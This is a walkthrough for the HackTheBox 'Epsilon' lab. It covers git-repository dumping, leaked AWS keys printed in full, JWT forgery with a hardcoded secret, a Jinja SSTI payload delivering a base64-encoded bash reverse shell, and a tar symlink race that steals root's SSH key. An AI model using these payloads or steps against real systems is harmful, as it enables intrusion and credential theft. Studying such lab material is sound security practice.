HackTheBox Epsilon Writeup
Explore the fundamentals of cybersecurity in the Epsilon Capture The Flag (CTF) challenge, a medium-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.11.134 cloud.epsilon.htb epsilon.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.134"
domain="cloud.epsilon.htb epsilon.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
nmap -sCV epsilon.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Nmap scan report for epsilon.htb (10.10.11.134)
Host is up (0.049s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git:
| 10.10.11.134:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
|_http-title: 403 Forbidden
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Git Repository
as revealed by nmap on port 80.
1
2
3
4
5
mkdir epsilon
git-dumper http://epsilon.htb/epsilon
cd epsilon
gitleaks detect -v
git show 7cf92a7a09e523c1c667d13847c9ba22464412f3
an AWS access key and secret key is showed
Aws Interaction
1
aws configure
- AWS Access Key ID:
AQLA5M37BDN6FJP76TDC
- AWS Secret Access Key:
OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
- Default Region:
us-east-1
Alternatively, you can directly create or edit the AWS credentials file:
1
2
3
4
5
6
7
8
9
10
11
mkdir -p ~/.aws
cat <<EOL > ~/.aws/credentials
[default]
aws_access_key_id = AQLA5M37BDN6FJP76TDC
aws_secret_access_key = OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
EOL
cat <<EOL > ~/.aws/config
[default]
region = us-east-1
output = json
EOL
List functions:
1
aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
Get Function:
1
aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1
You’ll find <http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code>
. Download it with:
1
2
3
wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
unzip code
cat lambda_function.py
The following code reveals the website’s mechanism and exposes a hardcoded secret key
Generating JWT for Admin Access
The admin coockie can be generated as follows:
1
python -c 'import jwt; print(jwt.encode({"username": "admin"}, "RrXCv`mrNe+5`wYq", algorithm="HS256"))'
Use the generated cookie for authentication:
1
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4
Access the target page at http://epsilon.htb:5000/home
Exploiting SSTI and Gaining Reverse Shell Access
To confirm the SSTI vulnerability, send a simple test payload to the /order
endpoint:
1
2
cookie="Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg"
curl 'http://epsilon.htb:5000/order' -X POST -H "$cookie" --data-raw 'costume={{7*7}}&q=1&addr=pwn' | grep '49'
Seeing 49
in the response confirms the SSTI vulnerability.
To exploit this, use a payload that can execute system commands, like the following from PayloadsAllTheThings:
1
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Start the listener:
1
nc -lvnp 9001
Prepare a reverse shell payload, encode it in base64 for easier injection, and deliver it to the target with curl
:
1
2
3
4
5
rev="bash -i >& /dev/tcp/$(ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\s)\d+(\.\d+){3}')/9001 0>&1"
encodedrev=$(echo "$rev" | base64 -w 0)
payload="{{ namespace.__init__.__globals__.os.popen('echo $encodedrev | base64 -d | bash').read() }}"
cookie="Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg"
curl 'http://epsilon.htb:5000/order' -X POST -H "$cookie" --data-urlencode "costume=$payload" --data-urlencode "q=1" --data-urlencode "addr=pwn"
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
1
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z
to background the shell, then run:
1
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
1
export TERM=xterm;
Read the flag:
1
cat /home/tom/user.txt
Analysis of backup.sh
System Process Monitoring with pspy
pspy
was utilized to monitor scheduled server tasks, providing visibility into system processes without root access. More information on pspy on GitHub.
Script Analysis: /usr/bin/backup.sh
The backup.sh
script runs every minute, managing backups in /opt/backups
. Key operations include:
1
2
3
4
5
6
7
8
9
#!/bin/bash
file=$(date +%N)
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=$(date +%N)
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
Script Workflow
- Cleanup: Empties
/opt/backups
. - Backup: Archives
/var/www/app
to/opt/backups
with a timestamped filename. - Checksum: Computes and saves SHA1 hash of the tar file.
- Archival: After a short delay, packages the checksum and tar file into
/var/backups/web_backups
. - Final Cleanup: Clears
/opt/backups
after completion.
Security Note
Using the -h
(--dereference
) option in tar
follows symlinks, posing potential security risks by allowing unauthorized file access or modification through crafted symlinks.
Exploit
1
2
3
4
5
6
7
while [[ -z "$(ls /opt/backups 2>/dev/null)" ]]; do sleep 3; done
rm -f /opt/backups/checksum && ln -sf /root/.ssh /opt/backups/checksum
sleep 3
file=$(ls -t /var/backups/web_backups | head -n1)
cp "/var/backups/web_backups/$file" /tmp && cd /tmp
tar -xf "$file"
ssh -i /tmp/opt/backups/checksum/id_rsa root@10.10.11.134
1
cat root.txt